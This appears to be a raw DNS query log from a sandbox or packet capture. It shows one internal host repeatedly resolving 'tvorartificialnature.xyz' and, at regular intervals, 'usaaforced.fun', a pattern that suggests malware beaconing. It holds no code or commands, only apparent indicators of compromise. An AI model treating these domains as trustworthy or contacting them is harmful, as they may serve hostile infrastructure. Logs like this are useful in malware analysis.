Apr 6, 2021 19:40:53.411525965 CEST	192.168.2.22	8.8.8.8	0xd9f6	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:53.590791941 CEST	192.168.2.22	8.8.8.8	0x5280	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:53.765727043 CEST	192.168.2.22	8.8.8.8	0x38a	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:53.951761007 CEST	192.168.2.22	8.8.8.8	0xce3f	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:54.123927116 CEST	192.168.2.22	8.8.8.8	0x7b36	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:54.299540997 CEST	192.168.2.22	8.8.8.8	0x86ed	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:54.473920107 CEST	192.168.2.22	8.8.8.8	0x5860	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:54.651238918 CEST	192.168.2.22	8.8.8.8	0x2093	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:54.822866917 CEST	192.168.2.22	8.8.8.8	0x3a0f	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:54.996320963 CEST	192.168.2.22	8.8.8.8	0x96b4	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:55.170303106 CEST	192.168.2.22	8.8.8.8	0x7a6e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:55.340470076 CEST	192.168.2.22	8.8.8.8	0xc984	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:55.445796967 CEST	192.168.2.22	8.8.8.8	0x1624	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:55.536041021 CEST	192.168.2.22	8.8.8.8	0xfb3d	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:55.712104082 CEST	192.168.2.22	8.8.8.8	0xf16e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:55.880258083 CEST	192.168.2.22	8.8.8.8	0xbd86	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:56.058773994 CEST	192.168.2.22	8.8.8.8	0x7201	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:56.240896940 CEST	192.168.2.22	8.8.8.8	0xbfa6	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:56.416050911 CEST	192.168.2.22	8.8.8.8	0xaaae	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:56.587806940 CEST	192.168.2.22	8.8.8.8	0xdcb3	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:56.764223099 CEST	192.168.2.22	8.8.8.8	0x1fe3	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:56.940129995 CEST	192.168.2.22	8.8.8.8	0x3bfb	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:57.132128000 CEST	192.168.2.22	8.8.8.8	0x25b2	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:57.308994055 CEST	192.168.2.22	8.8.8.8	0xe698	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:57.496992111 CEST	192.168.2.22	8.8.8.8	0x741d	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:57.678354979 CEST	192.168.2.22	8.8.8.8	0x5bf8	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:57.869187117 CEST	192.168.2.22	8.8.8.8	0xa8a3	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:57.922811031 CEST	192.168.2.22	8.8.8.8	0x96f7	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:58.040682077 CEST	192.168.2.22	8.8.8.8	0x9c92	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:58.216979027 CEST	192.168.2.22	8.8.8.8	0xf4fb	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:58.398670912 CEST	192.168.2.22	8.8.8.8	0xfac3	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:58.574713945 CEST	192.168.2.22	8.8.8.8	0x3d66	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:58.766380072 CEST	192.168.2.22	8.8.8.8	0xfe7	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:58.944734097 CEST	192.168.2.22	8.8.8.8	0x4bd8	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:59.126441002 CEST	192.168.2.22	8.8.8.8	0x6bb	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:59.297055006 CEST	192.168.2.22	8.8.8.8	0x9106	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:59.466186047 CEST	192.168.2.22	8.8.8.8	0xa8af	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:59.642101049 CEST	192.168.2.22	8.8.8.8	0x823a	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:59.806771040 CEST	192.168.2.22	8.8.8.8	0x7864	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:59.975785971 CEST	192.168.2.22	8.8.8.8	0xe682	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:00.165859938 CEST	192.168.2.22	8.8.8.8	0x9c99	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:00.337671041 CEST	192.168.2.22	8.8.8.8	0x970d	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:00.404397011 CEST	192.168.2.22	8.8.8.8	0xb2f7	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:00.536848068 CEST	192.168.2.22	8.8.8.8	0xf9b8	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:00.704664946 CEST	192.168.2.22	8.8.8.8	0xdd2c	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:00.896003962 CEST	192.168.2.22	8.8.8.8	0xc062	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:01.072932959 CEST	192.168.2.22	8.8.8.8	0x3f72	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:01.252473116 CEST	192.168.2.22	8.8.8.8	0x193	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:01.434804916 CEST	192.168.2.22	8.8.8.8	0xbf2e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:01.609503031 CEST	192.168.2.22	8.8.8.8	0x539b	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:01.784586906 CEST	192.168.2.22	8.8.8.8	0x51f1	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:01.957804918 CEST	192.168.2.22	8.8.8.8	0x1d8f	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:02.139681101 CEST	192.168.2.22	8.8.8.8	0xc4ae	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:02.317693949 CEST	192.168.2.22	8.8.8.8	0x392c	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:02.492616892 CEST	192.168.2.22	8.8.8.8	0x176	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:02.675143003 CEST	192.168.2.22	8.8.8.8	0x1c05	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:02.848752022 CEST	192.168.2.22	8.8.8.8	0x19b2	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:02.912642956 CEST	192.168.2.22	8.8.8.8	0x4e2	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:03.027297020 CEST	192.168.2.22	8.8.8.8	0xd885	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:03.221426964 CEST	192.168.2.22	8.8.8.8	0xccf7	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:03.392047882 CEST	192.168.2.22	8.8.8.8	0x230b	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:03.585494041 CEST	192.168.2.22	8.8.8.8	0xfbf1	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:03.787488937 CEST	192.168.2.22	8.8.8.8	0x5eba	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:03.961750984 CEST	192.168.2.22	8.8.8.8	0xa66	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:04.133443117 CEST	192.168.2.22	8.8.8.8	0x522	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:04.316993952 CEST	192.168.2.22	8.8.8.8	0x3778	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:04.497431993 CEST	192.168.2.22	8.8.8.8	0x5e7	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:04.676403046 CEST	192.168.2.22	8.8.8.8	0xcf99	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:04.858366013 CEST	192.168.2.22	8.8.8.8	0x691c	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:05.029699087 CEST	192.168.2.22	8.8.8.8	0x6b21	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:05.206840038 CEST	192.168.2.22	8.8.8.8	0x88c	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:05.394834995 CEST	192.168.2.22	8.8.8.8	0x812c	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:05.404439926 CEST	192.168.2.22	8.8.8.8	0x2968	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:05.570825100 CEST	192.168.2.22	8.8.8.8	0x4ab5	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:05.750600100 CEST	192.168.2.22	8.8.8.8	0x20cd	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:05.934130907 CEST	192.168.2.22	8.8.8.8	0x4585	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:06.108527899 CEST	192.168.2.22	8.8.8.8	0xe444	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:06.290272951 CEST	192.168.2.22	8.8.8.8	0x14ba	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:06.459151030 CEST	192.168.2.22	8.8.8.8	0xaeba	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:06.637346983 CEST	192.168.2.22	8.8.8.8	0x3895	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:06.808796883 CEST	192.168.2.22	8.8.8.8	0xe843	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:06.982090950 CEST	192.168.2.22	8.8.8.8	0x5f0	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:07.167979002 CEST	192.168.2.22	8.8.8.8	0x80bd	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:07.347697020 CEST	192.168.2.22	8.8.8.8	0xf58	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:07.523564100 CEST	192.168.2.22	8.8.8.8	0xb4b6	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:07.703922033 CEST	192.168.2.22	8.8.8.8	0x2385	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:07.878693104 CEST	192.168.2.22	8.8.8.8	0x47b0	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:07.900285006 CEST	192.168.2.22	8.8.8.8	0x1b60	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:08.074207067 CEST	192.168.2.22	8.8.8.8	0x494c	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:08.247174025 CEST	192.168.2.22	8.8.8.8	0x3ee6	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:08.441797972 CEST	192.168.2.22	8.8.8.8	0x4e63	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:08.616134882 CEST	192.168.2.22	8.8.8.8	0xadea	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:09.621432066 CEST	192.168.2.22	8.8.8.8	0xadea	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:09.804928064 CEST	192.168.2.22	8.8.8.8	0xc39e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:09.986402035 CEST	192.168.2.22	8.8.8.8	0xa455	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:10.167366028 CEST	192.168.2.22	8.8.8.8	0x4ed9	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:10.347368956 CEST	192.168.2.22	8.8.8.8	0x7b56	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:10.357279062 CEST	192.168.2.22	8.8.8.8	0x42e7	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:10.518796921 CEST	192.168.2.22	8.8.8.8	0xf0f3	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:10.693310976 CEST	192.168.2.22	8.8.8.8	0xefa8	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:10.868902922 CEST	192.168.2.22	8.8.8.8	0xbb57	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:11.042059898 CEST	192.168.2.22	8.8.8.8	0xe7e5	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:11.234075069 CEST	192.168.2.22	8.8.8.8	0xe915	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:11.406055927 CEST	192.168.2.22	8.8.8.8	0x20a4	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:11.584314108 CEST	192.168.2.22	8.8.8.8	0xeacd	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:11.753142118 CEST	192.168.2.22	8.8.8.8	0x2e0f	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:11.943237066 CEST	192.168.2.22	8.8.8.8	0xbc1b	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:12.111167908 CEST	192.168.2.22	8.8.8.8	0xd151	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:12.275331974 CEST	192.168.2.22	8.8.8.8	0xb343	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:12.460582018 CEST	192.168.2.22	8.8.8.8	0xb66a	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:12.639390945 CEST	192.168.2.22	8.8.8.8	0xb607	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:12.822371006 CEST	192.168.2.22	8.8.8.8	0x9df6	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:12.832740068 CEST	192.168.2.22	8.8.8.8	0x36e3	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:13.014548063 CEST	192.168.2.22	8.8.8.8	0x4d8c	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:13.186954975 CEST	192.168.2.22	8.8.8.8	0x9d8d	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:13.349945068 CEST	192.168.2.22	8.8.8.8	0x1241	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:13.548047066 CEST	192.168.2.22	8.8.8.8	0x1257	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:13.717849970 CEST	192.168.2.22	8.8.8.8	0x4faf	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:13.900732994 CEST	192.168.2.22	8.8.8.8	0x53ff	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:14.074951887 CEST	192.168.2.22	8.8.8.8	0xa2d9	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:14.263504982 CEST	192.168.2.22	8.8.8.8	0xd7cd	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:14.431519032 CEST	192.168.2.22	8.8.8.8	0x9a05	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:14.619349003 CEST	192.168.2.22	8.8.8.8	0x7850	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:14.804514885 CEST	192.168.2.22	8.8.8.8	0xe57	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:14.984503984 CEST	192.168.2.22	8.8.8.8	0xd13e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:15.169430971 CEST	192.168.2.22	8.8.8.8	0xe7a3	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:15.310664892 CEST	192.168.2.22	8.8.8.8	0x28a	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:15.333333015 CEST	192.168.2.22	8.8.8.8	0x6cd5	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:15.515290976 CEST	192.168.2.22	8.8.8.8	0x6300	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:15.687207937 CEST	192.168.2.22	8.8.8.8	0xe541	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:15.866763115 CEST	192.168.2.22	8.8.8.8	0xadcc	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:16.048949957 CEST	192.168.2.22	8.8.8.8	0x938d	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:16.238574028 CEST	192.168.2.22	8.8.8.8	0x1e3d	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:16.423734903 CEST	192.168.2.22	8.8.8.8	0x74c2	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:16.610008955 CEST	192.168.2.22	8.8.8.8	0x901e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:16.791752100 CEST	192.168.2.22	8.8.8.8	0xe0d	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:16.980834961 CEST	192.168.2.22	8.8.8.8	0x1509	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:17.166740894 CEST	192.168.2.22	8.8.8.8	0x8ba0	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:17.343142033 CEST	192.168.2.22	8.8.8.8	0x79f	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:17.522893906 CEST	192.168.2.22	8.8.8.8	0x9410	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:17.706856012 CEST	192.168.2.22	8.8.8.8	0xe943	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:17.799513102 CEST	192.168.2.22	8.8.8.8	0x9e8f	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:17.905790091 CEST	192.168.2.22	8.8.8.8	0xfa71	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:18.097189903 CEST	192.168.2.22	8.8.8.8	0xc6e0	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:18.270387888 CEST	192.168.2.22	8.8.8.8	0x728f	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:18.443964005 CEST	192.168.2.22	8.8.8.8	0xeafc	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:18.611988068 CEST	192.168.2.22	8.8.8.8	0x3f62	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:18.798219919 CEST	192.168.2.22	8.8.8.8	0x8ab2	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:18.987124920 CEST	192.168.2.22	8.8.8.8	0xb14	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:19.162628889 CEST	192.168.2.22	8.8.8.8	0xacce	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:19.339222908 CEST	192.168.2.22	8.8.8.8	0xf721	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:19.528573990 CEST	192.168.2.22	8.8.8.8	0x36ce	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:19.709917068 CEST	192.168.2.22	8.8.8.8	0xc028	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:19.913209915 CEST	192.168.2.22	8.8.8.8	0x844	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:20.095895052 CEST	192.168.2.22	8.8.8.8	0x5bf1	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:20.285367966 CEST	192.168.2.22	8.8.8.8	0x3d77	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:20.292596102 CEST	192.168.2.22	8.8.8.8	0xf480	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:20.463890076 CEST	192.168.2.22	8.8.8.8	0x2ea2	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:20.644570112 CEST	192.168.2.22	8.8.8.8	0xa5d9	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:20.833513975 CEST	192.168.2.22	8.8.8.8	0x80f8	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:21.005920887 CEST	192.168.2.22	8.8.8.8	0x2b9a	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:21.196365118 CEST	192.168.2.22	8.8.8.8	0xf950	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:21.381407022 CEST	192.168.2.22	8.8.8.8	0x9f25	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:21.547835112 CEST	192.168.2.22	8.8.8.8	0x306	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:21.725796938 CEST	192.168.2.22	8.8.8.8	0x237e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:21.893241882 CEST	192.168.2.22	8.8.8.8	0xd9fa	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:22.078321934 CEST	192.168.2.22	8.8.8.8	0x2484	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:22.245699883 CEST	192.168.2.22	8.8.8.8	0x2a92	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:22.416678905 CEST	192.168.2.22	8.8.8.8	0x447d	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:22.591598034 CEST	192.168.2.22	8.8.8.8	0x57de	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:22.799386978 CEST	192.168.2.22	8.8.8.8	0x5648	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:22.802736044 CEST	192.168.2.22	8.8.8.8	0x63f3	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:22.981458902 CEST	192.168.2.22	8.8.8.8	0x9b09	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:23.147100925 CEST	192.168.2.22	8.8.8.8	0xd0ba	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:23.319220066 CEST	192.168.2.22	8.8.8.8	0x915a	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:23.504939079 CEST	192.168.2.22	8.8.8.8	0x5949	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:23.673451900 CEST	192.168.2.22	8.8.8.8	0x4fe1	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:23.832948923 CEST	192.168.2.22	8.8.8.8	0xfbe8	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:24.013339996 CEST	192.168.2.22	8.8.8.8	0x42ac	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:24.181529045 CEST	192.168.2.22	8.8.8.8	0x1fee	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:24.392025948 CEST	192.168.2.22	8.8.8.8	0xcee0	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
